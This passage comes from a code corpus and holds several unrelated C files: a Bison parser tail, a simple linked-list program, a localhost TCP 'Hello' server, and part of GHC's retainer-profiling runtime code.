yyexhaustedlab: yyerror (YY_("memory exhausted")); yyresult = 2; /* Fall through. */ #endif /*-----------------------------------------------------. | yyreturn -- parsing is finished, return the result. | `-----------------------------------------------------*/ yyreturn: if (yychar != YYEMPTY) { /* Make sure we have latest lookahead translation. See comments at user semantic actions for why this is necessary. */ yytoken = YYTRANSLATE (yychar); yydestruct ("Cleanup: discarding lookahead", yytoken, &yylval, &yylloc); } /* Do not reclaim the symbols of the rule whose action triggered this YYABORT or YYACCEPT. */ YYPOPSTACK (yylen); YY_STACK_PRINT (yyss, yyssp); while (yyssp != yyss) { yydestruct ("Cleanup: popping", yystos[+*yyssp], yyvsp, yylsp); YYPOPSTACK (1); } #ifndef yyoverflow if (yyss != yyssa) YYSTACK_FREE (yyss); #endif #if YYERROR_VERBOSE if (yymsg != yymsgbuf) YYSTACK_FREE (yymsg); #endif return yyresult; } #line 55 "config/exprL-s3.y" void yyerror(const char *message) { printf("%s\n",message); } int main(int argc, char *argv[]) { yyparse(); return(0); }
the_stack_data/89199439.c
// WAP to implement singly linked lists #include<stdio.h> #include <stdlib.h> struct node { int data; struct node *next; }; struct node *head = NULL; struct node *current = NULL; //display the list void printList() { struct node *ptr = head; printf("\n[head] =>"); //start from the beginning while(ptr != NULL) { printf(" %d =>",ptr->data); ptr = ptr->next; } printf(" [null]\n"); } //insert link at the first location void insert(int data) { //create a link struct node *link = (struct node*) malloc(sizeof(struct node)); //link->key = key; link->data = data; //point it to old first node link->next = head; //point first to new first node head = link; } int main() { insert(10); insert(20); insert(30); insert(1); insert(40); insert(56); printList(); return 0; }
the_stack_data/45450745.c
#define SOCKET_ERROR -1 #define INVALID_SOCKET -1 #include <stdbool.h> #include <stdlib.h> #include <stdio.h> #include <sys/socket.h> // Methode sock #include <unistd.h> // close et shutdown #include <arpa/inet.h> // inet_addr() #include <netinet/in.h> // sockaddr_in #include <string.h> int TraiterErreur(int param){ if(param == SOCKET_ERROR){ perror("Socket :"); exit(EXIT_FAILURE); }else{ return param; } } int main(int argc, char const *argv[]) { // Declaration char buffer[1024]="Hello"; int sock, sockCom; struct sockaddr_in Serv; // socket du serveur struct sockaddr_in clientSock; // socket du client socklen_t addSize; // Initiation d'une socket du serveur sock = socket(AF_INET,SOCK_STREAM,0); TraiterErreur(sock); Serv.sin_family = AF_INET; Serv.sin_addr.s_addr = inet_addr("127.0.0.1"); Serv.sin_port = htons(1300); printf("Structure complet \n"); // Completer la structure de donnée avec des zéros bzero(&(Serv.sin_zero),8); // Lier la socket à @IP et port TraiterErreur(bind(sock,(struct sockaddr *)&Serv,sizeof(Serv))); printf("Liaison etablie \n"); TraiterErreur(listen(sock,5)); printf("Serveur on ecoute d'une connexion \n"); addSize = sizeof(clientSock); while(true){ sockCom = accept(sock,(struct sockaddr *) &clientSock, &addSize); TraiterErreur(sockCom); int octet = send(sockCom,buffer,strlen(buffer),0); printf("J'ai envoyée hello\n"); TraiterErreur(octet); TraiterErreur(close(sockCom)); } return 0; }
the_stack_data/67325904.c
/* ----------------------------------------------------------------------------- * * (c) The GHC Team, 2001 * Author: Sungwoo Park * * Retainer profiling. * * ---------------------------------------------------------------------------*/ #ifdef PROFILING // Turn off inlining when debugging - it obfuscates things #ifdef DEBUG #define INLINE #else #define INLINE inline #endif #include "PosixSource.h" #include "Rts.h" #include "RtsUtils.h" #include "RetainerProfile.h" #include "RetainerSet.h" #include "Schedule.h" #include "Printer.h" #include "Weak.h" #include "sm/Sanity.h" #include "Profiling.h" #include "Stats.h" #include "ProfHeap.h" #include "Apply.h" #include "Stable.h" /* markStableTables */ #include "sm/Storage.h" // for END_OF_STATIC_LIST /* Note: what to change in order to plug-in a new retainer profiling scheme? (1) type retainer in ../includes/StgRetainerProf.h (2) retainer function R(), i.e., getRetainerFrom() (3) the two hashing functions, hashKeySingleton() and hashKeyAddElement(), in RetainerSet.h, if needed. (4) printRetainer() and printRetainerSetShort() in RetainerSet.c. */ /* ----------------------------------------------------------------------------- * Declarations... * -------------------------------------------------------------------------- */ static nat retainerGeneration; // generation static nat numObjectVisited; // total number of objects visited static nat timesAnyObjectVisited; // number of times any objects are visited /* The rs field in the profile header of any object points to its retainer set in an indirect way: if flip is 0, it points to the retainer set; if flip is 1, it points to the next byte after the retainer set (even for NULL pointers). Therefore, with flip 1, (rs ^ 1) is the actual pointer. See retainerSetOf(). */ StgWord flip = 0; // flip bit // must be 0 if DEBUG_RETAINER is on (for static closures) #define setRetainerSetToNull(c) \ (c)->header.prof.hp.rs = (RetainerSet *)((StgWord)NULL | flip) static void retainStack(StgClosure *, retainer, StgPtr, StgPtr); static void retainClosure(StgClosure *, StgClosure *, retainer); #ifdef DEBUG_RETAINER static void belongToHeap(StgPtr p); #endif #ifdef DEBUG_RETAINER /* cStackSize records how many times retainStack() has been invoked recursively, that is, the number of activation records for retainStack() on the C stack. maxCStackSize records its max value. Invariants: cStackSize <= maxCStackSize */ static nat cStackSize, maxCStackSize; static nat sumOfNewCost; // sum of the cost of each object, computed // when the object is first visited static nat sumOfNewCostExtra; // for those objects not visited during // retainer profiling, e.g., MUT_VAR static nat costArray[N_CLOSURE_TYPES]; nat sumOfCostLinear; // sum of the costs of all object, computed // when linearly traversing the heap after // retainer profiling nat costArrayLinear[N_CLOSURE_TYPES]; #endif /* ----------------------------------------------------------------------------- * Retainer stack - header * Note: * Although the retainer stack implementation could be separated * * from the retainer profiling engine, there does not seem to be * any advantage in doing that; retainer stack is an integral part * of retainer profiling engine and cannot be use elsewhere at * all. * -------------------------------------------------------------------------- */ typedef enum { posTypeStep, posTypePtrs, posTypeSRT, posTypeLargeSRT, } nextPosType; typedef union { // fixed layout or layout specified by a field in the closure StgWord step; // layout.payload struct { // See StgClosureInfo in InfoTables.h #if SIZEOF_VOID_P == 8 StgWord32 pos; StgWord32 ptrs; #else StgWord16 pos; StgWord16 ptrs; #endif StgPtr payload; } ptrs; // SRT struct { StgClosure **srt; StgWord srt_bitmap; } srt; // Large SRT struct { StgLargeSRT *srt; StgWord offset; } large_srt; } nextPos; typedef struct { nextPosType type; nextPos next; } stackPos; typedef struct { StgClosure *c; retainer c_child_r; stackPos info; } stackElement; /* Invariants: firstStack points to the first block group. currentStack points to the block group currently being used. currentStack->free == stackLimit. stackTop points to the topmost byte in the stack of currentStack. Unless the whole stack is empty, stackTop must point to the topmost object (or byte) in the whole stack. Thus, it is only when the whole stack is empty that stackTop == stackLimit (not during the execution of push() and pop()). stackBottom == currentStack->start. stackLimit == currentStack->start + BLOCK_SIZE_W * currentStack->blocks. Note: When a current stack becomes empty, stackTop is set to point to the topmost element on the previous block group so as to satisfy the invariants described above. */ static bdescr *firstStack = NULL; static bdescr *currentStack; static stackElement *stackBottom, *stackTop, *stackLimit; /* currentStackBoundary is used to mark the current stack chunk. If stackTop == currentStackBoundary, it means that the current stack chunk is empty. It is the responsibility of the user to keep currentStackBoundary valid all the time if it is to be employed. */ static stackElement *currentStackBoundary; /* stackSize records the current size of the stack. maxStackSize records its high water mark. Invariants: stackSize <= maxStackSize Note: stackSize is just an estimate measure of the depth of the graph. The reason is that some heap objects have only a single child and may not result in a new element being pushed onto the stack. Therefore, at the end of retainer profiling, maxStackSize + maxCStackSize is some value no greater than the actual depth of the graph. */ #ifdef DEBUG_RETAINER static int stackSize, maxStackSize; #endif // number of blocks allocated for one stack #define BLOCKS_IN_STACK 1 /* ----------------------------------------------------------------------------- * Add a new block group to the stack. * Invariants: * currentStack->link == s. * -------------------------------------------------------------------------- */ static INLINE void newStackBlock( bdescr *bd ) { currentStack = bd; stackTop = (stackElement *)(bd->start + BLOCK_SIZE_W * bd->blocks); stackBottom = (stackElement *)bd->start; stackLimit = (stackElement *)stackTop; bd->free = (StgPtr)stackLimit; } /* ----------------------------------------------------------------------------- * Return to the previous block group. * Invariants: * s->link == currentStack. * -------------------------------------------------------------------------- */ static INLINE void returnToOldStack( bdescr *bd ) { currentStack = bd; stackTop = (stackElement *)bd->free; stackBottom = (stackElement *)bd->start; stackLimit = (stackElement *)(bd->start + BLOCK_SIZE_W * bd->blocks); bd->free = (StgPtr)stackLimit; } /* ----------------------------------------------------------------------------- * Initializes the traverse stack. * -------------------------------------------------------------------------- */ static void initializeTraverseStack( void ) { if (firstStack != NULL) { freeChain(firstStack); } firstStack = allocGroup(BLOCKS_IN_STACK); firstStack->link = NULL; firstStack->u.back = NULL; newStackBlock(firstStack); } /* ----------------------------------------------------------------------------- * Frees all the block groups in the traverse stack. * Invariants: * firstStack != NULL * -------------------------------------------------------------------------- */ static void closeTraverseStack( void ) { freeChain(firstStack); firstStack = NULL; } /* ----------------------------------------------------------------------------- * Returns rtsTrue if the whole stack is empty. * -------------------------------------------------------------------------- */ static INLINE rtsBool isEmptyRetainerStack( void ) { return (firstStack == currentStack) && stackTop == stackLimit; } /* ----------------------------------------------------------------------------- * Returns size of stack * -------------------------------------------------------------------------- */ #ifdef DEBUG W_ retainerStackBlocks( void ) { bdescr* bd; W_ res = 0; for (bd = firstStack; bd != NULL; bd = bd->link) res += bd->blocks; return res; } #endif /* ----------------------------------------------------------------------------- * Returns rtsTrue if stackTop is at the stack boundary of the current stack, * i.e., if the current stack chunk is empty. * -------------------------------------------------------------------------- */ static INLINE rtsBool isOnBoundary( void ) { return stackTop == currentStackBoundary; } /* ----------------------------------------------------------------------------- * Initializes *info from ptrs and payload. * Invariants: * payload[] begins with ptrs pointers followed by non-pointers. * -------------------------------------------------------------------------- */ static INLINE void init_ptrs( stackPos *info, nat ptrs, StgPtr payload ) { info->type = posTypePtrs; info->next.ptrs.pos = 0; info->next.ptrs.ptrs = ptrs; info->next.ptrs.payload = payload; } /* ----------------------------------------------------------------------------- * Find the next object from *info. * -------------------------------------------------------------------------- */ static INLINE StgClosure * find_ptrs( stackPos *info ) { if (info->next.ptrs.pos < info->next.ptrs.ptrs) { return (StgClosure *)info->next.ptrs.payload[info->next.ptrs.pos++]; } else { return NULL; } } /* ----------------------------------------------------------------------------- * Initializes *info from SRT information stored in *infoTable. * -------------------------------------------------------------------------- */ static INLINE void init_srt_fun( stackPos *info, StgFunInfoTable *infoTable ) { if (infoTable->i.srt_bitmap == (StgHalfWord)(-1)) { info->type = posTypeLargeSRT; info->next.large_srt.srt = (StgLargeSRT *)GET_FUN_SRT(infoTable); info->next.large_srt.offset = 0; } else { info->type = posTypeSRT; info->next.srt.srt = (StgClosure **)GET_FUN_SRT(infoTable); info->next.srt.srt_bitmap = infoTable->i.srt_bitmap; } } static INLINE void init_srt_thunk( stackPos *info, StgThunkInfoTable *infoTable ) { if (infoTable->i.srt_bitmap == (StgHalfWord)(-1)) { info->type = posTypeLargeSRT; info->next.large_srt.srt = (StgLargeSRT *)GET_SRT(infoTable); info->next.large_srt.offset = 0; } else { info->type = posTypeSRT; info->next.srt.srt = (StgClosure **)GET_SRT(infoTable); info->next.srt.srt_bitmap = infoTable->i.srt_bitmap; } } /* ----------------------------------------------------------------------------- * Find the next object from *info. * -------------------------------------------------------------------------- */ static INLINE StgClosure * find_srt( stackPos *info ) { StgClosure *c; StgWord bitmap; if (info->type == posTypeSRT) { // Small SRT bitmap bitmap = info->next.srt.srt_bitmap; while (bitmap != 0) { if ((bitmap & 1) != 0) { #if defined(COMPILING_WINDOWS_DLL) if ((unsigned long)(*(info->next.srt.srt)) & 0x1) c = (* (StgClosure **)((unsigned long)*(info->next.srt.srt)) & ~0x1); else c = *(info->next.srt.srt); #else c = *(info->next.srt.srt); #endif bitmap = bitmap >> 1; info->next.srt.srt++; info->next.srt.srt_bitmap = bitmap; return c; } bitmap = bitmap >> 1; info->next.srt.srt++; } // bitmap is now zero... return NULL; } else { // Large SRT bitmap nat i = info->next.large_srt.offset; StgWord bitmap; // Follow the pattern from GC.c:scavenge_large_srt_bitmap(). bitmap = info->next.large_srt.srt->l.bitmap[i / BITS_IN(W_)]; bitmap = bitmap >> (i % BITS_IN(StgWord)); while (i < info->next.large_srt.srt->l.size) { if ((bitmap & 1) != 0) { c = ((StgClosure **)info->next.large_srt.srt->srt)[i]; i++; info->next.large_srt.offset = i; return c; } i++; if (i % BITS_IN(W_) == 0) { bitmap = info->next.large_srt.srt->l.bitmap[i / BITS_IN(W_)]; } else { bitmap = bitmap >> 1; } } // reached the end of this bitmap. info->next.large_srt.offset = i; return NULL; } } /* ----------------------------------------------------------------------------- * push() pushes a stackElement representing the next child of *c * onto the traverse stack. If *c has no child, *first_child is set * to NULL and nothing is pushed onto the stack. If *c has only one * child, *c_chlid is set to that child and nothing is pushed onto * the stack. If *c has more than two children, *first_child is set * to the first child and a stackElement representing the second * child is pushed onto the stack. * Invariants: * *c_child_r is the most recent retainer of *c's children. * *c is not any of TSO, AP, PAP, AP_STACK, which means that * there cannot be any stack objects. * Note: SRTs are considered to be children as well. * -------------------------------------------------------------------------- */ static INLINE void push( StgClosure *c, retainer c_child_r, StgClosure **first_child ) { stackElement se; bdescr *nbd; // Next Block Descriptor #ifdef DEBUG_RETAINER // debugBelch("push(): stackTop = 0x%x, currentStackBoundary = 0x%x\n", stackTop, currentStackBoundary); #endif ASSERT(get_itbl(c)->type != TSO); ASSERT(get_itbl(c)->type != AP_STACK); // // fill in se // se.c = c; se.c_child_r = c_child_r; // fill in se.info switch (get_itbl(c)->type) { // no child, no SRT case CONSTR_0_1: case CONSTR_0_2: case ARR_WORDS: *first_child = NULL; return; // one child (fixed), no SRT case MUT_VAR_CLEAN: case MUT_VAR_DIRTY: *first_child = ((StgMutVar *)c)->var; return; case THUNK_SELECTOR: *first_child = ((StgSelector *)c)->selectee; return; case IND_PERM: case BLACKHOLE: *first_child = ((StgInd *)c)->indirectee; return; case CONSTR_1_0: case CONSTR_1_1: *first_child = c->payload[0]; return; // For CONSTR_2_0 and MVAR, we use se.info.step to record the position // of the next child. We do not write a separate initialization code. // Also we do not have to initialize info.type; // two children (fixed), no SRT // need to push a stackElement, but nothing to store in se.info case CONSTR_2_0: *first_child = c->payload[0]; // return the first pointer // se.info.type = posTypeStep; // se.info.next.step = 2; // 2 = second break; // three children (fixed), no SRT // need to push a stackElement case MVAR_CLEAN: case MVAR_DIRTY: // head must be TSO and the head of a linked list of TSOs. // Shoule it be a child? Seems to be yes. *first_child = (StgClosure *)((StgMVar *)c)->head; // se.info.type = posTypeStep; se.info.next.step = 2; // 2 = second break; // three children (fixed), no SRT case WEAK: *first_child = ((StgWeak *)c)->key; // se.info.type = posTypeStep; se.info.next.step = 2; break; // layout.payload.ptrs, no SRT case TVAR: case CONSTR: case PRIM: case MUT_PRIM: case BCO: case CONSTR_STATIC: init_ptrs(&se.info, get_itbl(c)->layout.payload.ptrs, (StgPtr)c->payload); *first_child = find_ptrs(&se.info); if (*first_child == NULL) return; // no child break; // StgMutArrPtr.ptrs, no SRT case MUT_ARR_PTRS_CLEAN: case MUT_ARR_PTRS_DIRTY: case MUT_ARR_PTRS_FROZEN: case MUT_ARR_PTRS_FROZEN0: init_ptrs(&se.info, ((StgMutArrPtrs *)c)->ptrs, (StgPtr)(((StgMutArrPtrs *)c)->payload)); *first_child = find_ptrs(&se.info); if (*first_child == NULL) return; break; // StgMutArrPtr.ptrs, no SRT case SMALL_MUT_ARR_PTRS_CLEAN: case SMALL_MUT_ARR_PTRS_DIRTY: case SMALL_MUT_ARR_PTRS_FROZEN: case SMALL_MUT_ARR_PTRS_FROZEN0: init_ptrs(&se.info, ((StgSmallMutArrPtrs *)c)->ptrs, (StgPtr)(((StgSmallMutArrPtrs *)c)->payload)); *first_child = find_ptrs(&se.info); if (*first_child == NULL) return; break; // layout.payload.ptrs, SRT case FUN: // *c is a heap object. case FUN_2_0: init_ptrs(&se.info, get_itbl(c)->layout.payload.ptrs, (StgPtr)c->payload); *first_child = find_ptrs(&se.info); if (*first_child == NULL) // no child from ptrs, so check SRT goto fun_srt_only; break; case THUNK: case THUNK_2_0: init_ptrs(&se.info, get_itbl(c)->layout.payload.ptrs, (StgPtr)((StgThunk *)c)->payload); *first_child = find_ptrs(&se.info); if (*first_child == NULL) // no child from ptrs, so check SRT goto thunk_srt_only; break; // 1 fixed child, SRT case FUN_1_0: case FUN_1_1: *first_child = c->payload[0]; ASSERT(*first_child != NULL); init_srt_fun(&se.info, get_fun_itbl(c)); break; case THUNK_1_0: case THUNK_1_1: *first_child = ((StgThunk *)c)->payload[0]; ASSERT(*first_child != NULL); init_srt_thunk(&se.info, get_thunk_itbl(c)); break; case FUN_STATIC: // *c is a heap object. ASSERT(get_itbl(c)->srt_bitmap != 0); case FUN_0_1: case FUN_0_2: fun_srt_only: init_srt_fun(&se.info, get_fun_itbl(c)); *first_child = find_srt(&se.info); if (*first_child == NULL) return; // no child break; // SRT only case THUNK_STATIC: ASSERT(get_itbl(c)->srt_bitmap != 0); case THUNK_0_1: case THUNK_0_2: thunk_srt_only: init_srt_thunk(&se.info, get_thunk_itbl(c)); *first_child = find_srt(&se.info); if (*first_child == NULL) return; // no child break; case TREC_CHUNK: *first_child = (StgClosure *)((StgTRecChunk *)c)->prev_chunk; se.info.next.step = 0; // entry no. break; // cannot appear case PAP: case AP: case AP_STACK: case TSO: case STACK: case IND_STATIC: case CONSTR_NOCAF_STATIC: // stack objects case UPDATE_FRAME: case CATCH_FRAME: case UNDERFLOW_FRAME: case STOP_FRAME: case RET_BCO: case RET_SMALL: case RET_BIG: // invalid objects case IND: case INVALID_OBJECT: default: barf("Invalid object *c in push()"); return; } if (stackTop - 1 < stackBottom) { #ifdef DEBUG_RETAINER // debugBelch("push() to the next stack.\n"); #endif // currentStack->free is updated when the active stack is switched // to the next stack. currentStack->free = (StgPtr)stackTop; if (currentStack->link == NULL) { nbd = allocGroup(BLOCKS_IN_STACK); nbd->link = NULL; nbd->u.back = currentStack; currentStack->link = nbd; } else nbd = currentStack->link; newStackBlock(nbd); } // adjust stackTop (acutal push) stackTop--; // If the size of stackElement was huge, we would better replace the // following statement by either a memcpy() call or a switch statement // on the type of the element. Currently, the size of stackElement is // small enough (5 words) that this direct assignment seems to be enough. // ToDo: The line below leads to the warning: // warning: 'se.info.type' may be used uninitialized in this function // This is caused by the fact that there are execution paths through the // large switch statement above where some cases do not initialize this // field. Is this really harmless? Can we avoid the warning? *stackTop = se; #ifdef DEBUG_RETAINER stackSize++; if (stackSize > maxStackSize) maxStackSize = stackSize; // ASSERT(stackSize >= 0); // debugBelch("stackSize = %d\n", stackSize); #endif } /* ----------------------------------------------------------------------------- * popOff() and popOffReal(): Pop a stackElement off the traverse stack. * Invariants: * stackTop cannot be equal to stackLimit unless the whole stack is * empty, in which case popOff() is not allowed. * Note: * You can think of popOffReal() as a part of popOff() which is * executed at the end of popOff() in necessary. Since popOff() is * likely to be executed quite often while popOffReal() is not, we * separate popOffReal() from popOff(), which is declared as an * INLINE function (for the sake of execution speed). popOffReal() * is called only within popOff() and nowhere else. * -------------------------------------------------------------------------- */ static void popOffReal(void) { bdescr *pbd; // Previous Block Descriptor #ifdef DEBUG_RETAINER // debugBelch("pop() to the previous stack.\n"); #endif ASSERT(stackTop + 1 == stackLimit); ASSERT(stackBottom == (stackElement *)currentStack->start); if (firstStack == currentStack) { // The stack is completely empty. stackTop++; ASSERT(stackTop == stackLimit); #ifdef DEBUG_RETAINER stackSize--; if (stackSize > maxStackSize) maxStackSize = stackSize; /* ASSERT(stackSize >= 0); debugBelch("stackSize = %d\n", stackSize); */ #endif return; } // currentStack->free is updated when the active stack is switched back // to the previous stack. currentStack->free = (StgPtr)stackLimit; // find the previous block descriptor pbd = currentStack->u.back; ASSERT(pbd != NULL); returnToOldStack(pbd); #ifdef DEBUG_RETAINER stackSize--; if (stackSize > maxStackSize) maxStackSize = stackSize; /* ASSERT(stackSize >= 0); debugBelch("stackSize = %d\n", stackSize); */ #endif } static INLINE void popOff(void) { #ifdef DEBUG_RETAINER // debugBelch("\tpopOff(): stackTop = 0x%x, currentStackBoundary = 0x%x\n", stackTop, currentStackBoundary); #endif ASSERT(stackTop != stackLimit); ASSERT(!isEmptyRetainerStack()); // <= (instead of <) is wrong! if (stackTop + 1 < stackLimit) { stackTop++; #ifdef DEBUG_RETAINER stackSize--; if (stackSize > maxStackSize) maxStackSize = stackSize; /* ASSERT(stackSize >= 0); debugBelch("stackSize = %d\n", stackSize); */ #endif return; } popOffReal(); } /* ----------------------------------------------------------------------------- * Finds the next object to be considered for retainer profiling and store * its pointer to *c. * Test if the topmost stack element indicates that more objects are left, * and if so, retrieve the first object and store its pointer to *c. Also, * set *cp and *r appropriately, both of which are stored in the stack element. * The topmost stack element then is overwritten so as for it to now denote * the next object. * If the topmost stack element indicates no more objects are left, pop * off the stack element until either an object can be retrieved or * the current stack chunk becomes empty, indicated by rtsTrue returned by * isOnBoundary(), in which case *c is set to NULL. * Note: * It is okay to call this function even when the current stack chunk * is empty. * -------------------------------------------------------------------------- */ static INLINE void pop( StgClosure **c, StgClosure **cp, retainer *r ) { stackElement *se; #ifdef DEBUG_RETAINER // debugBelch("pop(): stackTop = 0x%x, currentStackBoundary = 0x%x\n", stackTop, currentStackBoundary); #endif do { if (isOnBoundary()) { // if the current stack chunk is depleted *c = NULL; return; } se = stackTop; switch (get_itbl(se->c)->type) { // two children (fixed), no SRT // nothing in se.info case CONSTR_2_0: *c = se->c->payload[1]; *cp = se->c; *r = se->c_child_r; popOff(); return; // three children (fixed), no SRT // need to push a stackElement case MVAR_CLEAN: case MVAR_DIRTY: if (se->info.next.step == 2) { *c = (StgClosure *)((StgMVar *)se->c)->tail; se->info.next.step++; // move to the next step // no popOff } else { *c = ((StgMVar *)se->c)->value; popOff(); } *cp = se->c; *r = se->c_child_r; return; // three children (fixed), no SRT case WEAK: if (se->info.next.step == 2) { *c = ((StgWeak *)se->c)->value; se->info.next.step++; // no popOff } else { *c = ((StgWeak *)se->c)->finalizer; popOff(); } *cp = se->c; *r = se->c_child_r; return; case TREC_CHUNK: { // These are pretty complicated: we have N entries, each // of which contains 3 fields that we want to follow. So // we divide the step counter: the 2 low bits indicate // which field, and the rest of the bits indicate the // entry number (starting from zero). TRecEntry *entry; nat entry_no = se->info.next.step >> 2; nat field_no = se->info.next.step & 3; if (entry_no == ((StgTRecChunk *)se->c)->next_entry_idx) { *c = NULL; popOff(); return; } entry = &((StgTRecChunk *)se->c)->entries[entry_no]; if (field_no == 0) { *c = (StgClosure *)entry->tvar; } else if (field_no == 1) { *c = entry->expected_value; } else { *c = entry->new_value; } *cp = se->c; *r = se->c_child_r; se->info.next.step++; return; } case TVAR: case CONSTR: case PRIM: case MUT_PRIM: case BCO: case CONSTR_STATIC: // StgMutArrPtr.ptrs, no SRT case MUT_ARR_PTRS_CLEAN: case MUT_ARR_PTRS_DIRTY: case MUT_ARR_PTRS_FROZEN: case MUT_ARR_PTRS_FROZEN0: *c = find_ptrs(&se->info); if (*c == NULL) { popOff(); break; } *cp = se->c; *r = se->c_child_r; return; // layout.payload.ptrs, SRT case FUN: // always a heap object case FUN_2_0: if (se->info.type == posTypePtrs) { *c = find_ptrs(&se->info); if (*c != NULL) { *cp = se->c; *r = se->c_child_r; return; } init_srt_fun(&se->info, get_fun_itbl(se->c)); } goto do_srt; case THUNK: case THUNK_2_0: if (se->info.type == posTypePtrs) { *c = find_ptrs(&se->info); if (*c != NULL) { *cp = se->c; *r = se->c_child_r; return; } init_srt_thunk(&se->info, get_thunk_itbl(se->c)); } goto do_srt; // SRT do_srt: case THUNK_STATIC: case FUN_STATIC: case FUN_0_1: case FUN_0_2: case THUNK_0_1: case THUNK_0_2: case FUN_1_0: case FUN_1_1: case THUNK_1_0: case THUNK_1_1: *c = find_srt(&se->info); if (*c != NULL) { *cp = se->c; *r = se->c_child_r; return; } popOff(); break; // no child (fixed), no SRT case CONSTR_0_1: case CONSTR_0_2: case ARR_WORDS: // one child (fixed), no SRT case MUT_VAR_CLEAN: case MUT_VAR_DIRTY: case THUNK_SELECTOR: case IND_PERM: case CONSTR_1_1: // cannot appear case PAP: case AP: case AP_STACK: case TSO: case STACK: case IND_STATIC: case CONSTR_NOCAF_STATIC: // stack objects case UPDATE_FRAME: case CATCH_FRAME: case UNDERFLOW_FRAME: case STOP_FRAME: case RET_BCO: case RET_SMALL: case RET_BIG: // invalid objects case IND: case INVALID_OBJECT: default: barf("Invalid object *c in pop()"); return; } } while (rtsTrue); } /* ----------------------------------------------------------------------------- * RETAINER PROFILING ENGINE * -------------------------------------------------------------------------- */ void initRetainerProfiling( void ) { initializeAllRetainerSet(); retainerGeneration = 0; } /* ----------------------------------------------------------------------------- * This function must be called before f-closing prof_file. * -------------------------------------------------------------------------- */ void endRetainerProfiling( void ) { #ifdef SECOND_APPROACH outputAllRetainerSet(prof_file); #endif } /* ----------------------------------------------------------------------------- * Returns the actual pointer to the retainer set of the closure *c. * It may adjust RSET(c) subject to flip. * Side effects: * RSET(c) is initialized to NULL if its current value does not * conform to flip. * Note: * Even though this function has side effects, they CAN be ignored because * subsequent calls to retainerSetOf() always result in the same return value * and retainerSetOf() is the only way to retrieve retainerSet of a given * closure. * We have to perform an XOR (^) operation each time a closure is examined. * The reason is that we do not know when a closure is visited last. * -------------------------------------------------------------------------- */ static INLINE void maybeInitRetainerSet( StgClosure *c ) { if (!isRetainerSetFieldValid(c)) { setRetainerSetToNull(c); } } /* ----------------------------------------------------------------------------- * Returns rtsTrue if *c is a retainer. * -------------------------------------------------------------------------- */ static INLINE rtsBool isRetainer( StgClosure *c ) { switch (get_itbl(c)->type) { // // True case // // TSOs MUST be retainers: they constitute the set of roots. case TSO: case STACK: // mutable objects case MUT_PRIM: case MVAR_CLEAN: case MVAR_DIRTY: case TVAR: case MUT_VAR_CLEAN: case MUT_VAR_DIRTY: case MUT_ARR_PTRS_CLEAN: case MUT_ARR_PTRS_DIRTY: // thunks are retainers. case THUNK: case THUNK_1_0: case THUNK_0_1: case THUNK_2_0: case THUNK_1_1: case THUNK_0_2: case THUNK_SELECTOR: case AP: case AP_STACK: // Static thunks, or CAFS, are obviously retainers. case THUNK_STATIC: // WEAK objects are roots; there is separate code in which traversing // begins from WEAK objects. case WEAK: return rtsTrue; // // False case // // constructors case CONSTR: case CONSTR_1_0: case CONSTR_0_1: case CONSTR_2_0: case CONSTR_1_1: case CONSTR_0_2: // functions case FUN: case FUN_1_0: case FUN_0_1: case FUN_2_0: case FUN_1_1: case FUN_0_2: // partial applications case PAP: // indirection case IND_PERM: // IND_STATIC used to be an error, but at the moment it can happen // as isAlive doesn't look through IND_STATIC as it ignores static // closures. See trac #3956 for a program that hit this error. case IND_STATIC: case BLACKHOLE: // static objects case CONSTR_STATIC: case FUN_STATIC: // misc case PRIM: case BCO: case ARR_WORDS: // STM case TREC_CHUNK: // immutable arrays case MUT_ARR_PTRS_FROZEN: case MUT_ARR_PTRS_FROZEN0: return rtsFalse; // // Error case // // CONSTR_NOCAF_STATIC // cannot be *c, *cp, *r in the retainer profiling loop. case CONSTR_NOCAF_STATIC: // Stack objects are invalid because they are never treated as // legal objects during retainer profiling. case UPDATE_FRAME: case CATCH_FRAME: case UNDERFLOW_FRAME: case STOP_FRAME: case RET_BCO: case RET_SMALL: case RET_BIG: // other cases case IND: case INVALID_OBJECT: default: barf("Invalid object in isRetainer(): %d", get_itbl(c)->type); return rtsFalse; } } /* ----------------------------------------------------------------------------- * Returns the retainer function value for the closure *c, i.e., R(*c). * This function does NOT return the retainer(s) of *c. * Invariants: * *c must be a retainer. * Note: * Depending on the definition of this function, the maintenance of retainer * sets can be made easier. If most retainer sets are likely to be created * again across garbage collections, refreshAllRetainerSet() in * RetainerSet.c can simply do nothing. * If this is not the case, we can free all the retainer sets and * re-initialize the hash table. * See refreshAllRetainerSet() in RetainerSet.c. * -------------------------------------------------------------------------- */ static INLINE retainer getRetainerFrom( StgClosure *c ) { ASSERT(isRetainer(c)); #if defined(RETAINER_SCHEME_INFO) // Retainer scheme 1: retainer = info table return get_itbl(c); #elif defined(RETAINER_SCHEME_CCS) // Retainer scheme 2: retainer = cost centre stack return c->header.prof.ccs; #elif defined(RETAINER_SCHEME_CC) // Retainer scheme 3: retainer = cost centre return c->header.prof.ccs->cc; #endif } /* ----------------------------------------------------------------------------- * Associates the retainer set *s with the closure *c, that is, *s becomes * the retainer set of *c. * Invariants: * c != NULL * s != NULL * -------------------------------------------------------------------------- */ static INLINE void associate( StgClosure *c, RetainerSet *s ) { // StgWord has the same size as pointers, so the following type // casting is okay. RSET(c) = (RetainerSet *)((StgWord)s | flip); } /* ----------------------------------------------------------------------------- Call retainClosure for each of the closures covered by a large bitmap. -------------------------------------------------------------------------- */ static void retain_large_bitmap (StgPtr p, StgLargeBitmap *large_bitmap, nat size, StgClosure *c, retainer c_child_r) { nat i, b; StgWord bitmap; b = 0; bitmap = large_bitmap->bitmap[b]; for (i = 0; i < size; ) { if ((bitmap & 1) == 0) { retainClosure((StgClosure *)*p, c, c_child_r); } i++; p++; if (i % BITS_IN(W_) == 0) { b++; bitmap = large_bitmap->bitmap[b]; } else { bitmap = bitmap >> 1; } } } static INLINE StgPtr retain_small_bitmap (StgPtr p, nat size, StgWord bitmap, StgClosure *c, retainer c_child_r) { while (size > 0) { if ((bitmap & 1) == 0) { retainClosure((StgClosure *)*p, c, c_child_r); } p++; bitmap = bitmap >> 1; size--; } return p; } /* ----------------------------------------------------------------------------- * Call retainClosure for each of the closures in an SRT. * ------------------------------------------------------------------------- */ static void retain_large_srt_bitmap (StgLargeSRT *srt, StgClosure *c, retainer c_child_r) { nat i, b, size; StgWord bitmap; StgClosure **p; b = 0; p = (StgClosure **)srt->srt; size = srt->l.size; bitmap = srt->l.bitmap[b]; for (i = 0; i < size; ) { if ((bitmap & 1) != 0) { retainClosure((StgClosure *)*p, c, c_child_r); } i++; p++; if (i % BITS_IN(W_) == 0) { b++; bitmap 